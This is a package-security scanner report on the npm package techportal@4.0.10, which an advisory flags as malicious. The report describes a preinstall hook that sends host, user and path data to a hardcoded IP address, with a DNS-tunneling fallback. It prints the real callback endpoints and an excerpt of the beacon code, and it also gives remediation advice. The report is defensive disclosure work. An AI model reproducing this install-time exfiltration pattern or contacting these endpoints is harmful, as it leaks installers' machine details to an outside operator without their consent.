techportal
This report shows the evidence for techportal@4.0.10. 2 of 2 known versions are blocked or flagged. The newest version, 4.0.11, is blocked. See all versions.
OpenSSF/OSV Malicious Advisory
imported 2mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-15561 confirms this npm version as malicious.
Advisory
MAL-2026-15561
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in techportal (npm)
Details
package.json declares a preinstall hook (`node beacon.js`) that fires automatically on `npm install`. beacon.js reads os.hostname(), os.userInfo().username, and process.cwd(), base32-encodes them, and issues an HTTP GET to a hardcoded bare-IP callback URL http://45.76.249.245/beacon/<token>/techportal/4.0.10, carrying the values in X-Bug-Bounty-Host, X-Bug-Bounty-User, and X-Bug-Bounty-Path headers. If the HTTP beacon fails or times out, the same identifiers are packed as base32-encoded DNS subdomain labels and queried (resolve4/resolve6/resolveTxt) against three hardcoded `*.oob.asm5.net` collector domains, providing a DNS-tunneling channel that bypasses HTTP egress controls. Destination is not caller-configurable and there is no install-time opt-in. Self-labeling of the beacon as an authorized bug bounty or dual-use tool does not change the data flow: installer host identity leaves the installer's machine on `npm install` to hardcoded attacker-operated infrastructure.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
This is a concrete, automatic preinstall data-exfiltration chain. The stated research purpose does not remove the risk to arbitrary dependency-confusion victims. Product guard normalized a non-low false-positive publish_block request to warn-only suspicious.
Static reason
One or more suspicious static signals were detected.
Trigger
npm installation, through the preinstall lifecycle hook
Impact
An installer’s host identity, account name, and project path are disclosed to a remote operator.
Mechanism
Host, user, and working-directory collection with HTTP and DNS exfiltration
AI rationale
This is a concrete, automatic preinstall data-exfiltration chain. The stated research purpose does not remove the risk to arbitrary dependency-confusion victims. Product guard normalized a non-low false-positive publish_block request to warn-only suspicious.
Evidence
package.jsonbeacon.jsbeacon-config.json
Network endpoints4
45.76.249.245/beacon/-wJPp9SwceA1Ul345SP0XomeLKZnWMp6/techportal/4.0.10av7vjbm1v3hxo0wk0pojcaoc1ebtynwea.oob.asm5.netav7vjbm1v3hxo0wk0pojusf8i7dbe1exo.oob.asm5.netav7vjbm1v3hxo0wk0poje0j4vfk1bnk77.oob.asm5.net
Independent scan evidence
public snapshotAI called this Suspicious at 98.0% confidence as Malware with medium false-positive risk.
Evidence for AI warning decision
- The manifest runs beacon.js automatically during preinstall.
- The hook collects the host name, operating-system user name, and current working directory.
- It sends those values as encoded request headers to a configured external callback.
- On request failure it transmits the same values through DNS lookups.
Evidence against
- No child-process, shell, file-write, environment-variable, or credential-file access exists in the inspected source.
- The hook has a bounded timeout and does not load remote code.
Behavioral surface
CryptoNetwork
HighEntropyStrings
NoLicense
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node beacon.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg28"scripts": {
"preinstall": "node beacon.js"
}
High
Ai Review Evidence
The manifest runs beacon.js automatically during preinstall.
package.jsonView on unpkg · L28beacon.jsView file
191let username = "";
try {
username = os.userInfo().username;
} catch {
username = "";
}
let currentPath = "";
try {
currentPath = process.cwd();
} catch {
currentPath = "";
}
const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean);
const identityBudget = dnsDomains.length
? Math.min(...dnsDomains.map(identityBudgetForDomain))
: 52;
const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget);
const usernameFragment = encodeIdentityFragment(username, identityBudget);
const
High
Findings
5 High1 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencebeacon.js
HighAi Review Evidencebeacon.js
HighAi Review Evidencebeacon.js
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to techportal@4.0.10.
The versions list below shows the verdict for each recorded version.
- Avoid installing techportal@4.0.10. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.